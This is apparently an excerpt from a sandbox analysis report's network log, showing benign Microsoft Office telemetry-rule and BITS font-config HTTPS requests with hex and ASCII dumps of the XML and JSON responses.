38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230632Z-174c587ffdf8lw6dhC1TEBkgs800000003p0000000004xng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230632Z-178bfbc474bbcwv4hC1NYCypys00000004xg00000000ek04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230632Z-15b8b599d88qw29phC1TEB5zag00000003f000000000mnbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49778	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 23:06:34 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=210417 Date: Sat, 23 Nov 2024 23:06:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230634Z-178bfbc474bmqmgjhC1NYCy16c000000059g000000001fcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230634Z-174c587ffdf4zw2thC1TEBu34000000003p000000000cnku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:34 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230634Z-178bfbc474bbbqrhhC1NYCvw7400000005c0000000001cww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230634Z-174c587ffdf6b487hC1TEBydsn00000003h000000000b6x1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:34 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230634Z-178bfbc474bv587zhC1NYCny5w00000004x000000000hzr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49788	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:36 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 23:06:36 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=210393 Date: Sat, 23 Nov 2024 23:06:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 23:06:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230636Z-178bfbc474b9xljthC1NYCtw940000000540000000001y4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:36 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:36 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230636Z-174c587ffdf8fcgwhC1TEBnn7000000003tg000000006f0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:36 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:36 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230637Z-174c587ffdfb5q56hC1TEB04kg00000003k0000000007fxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
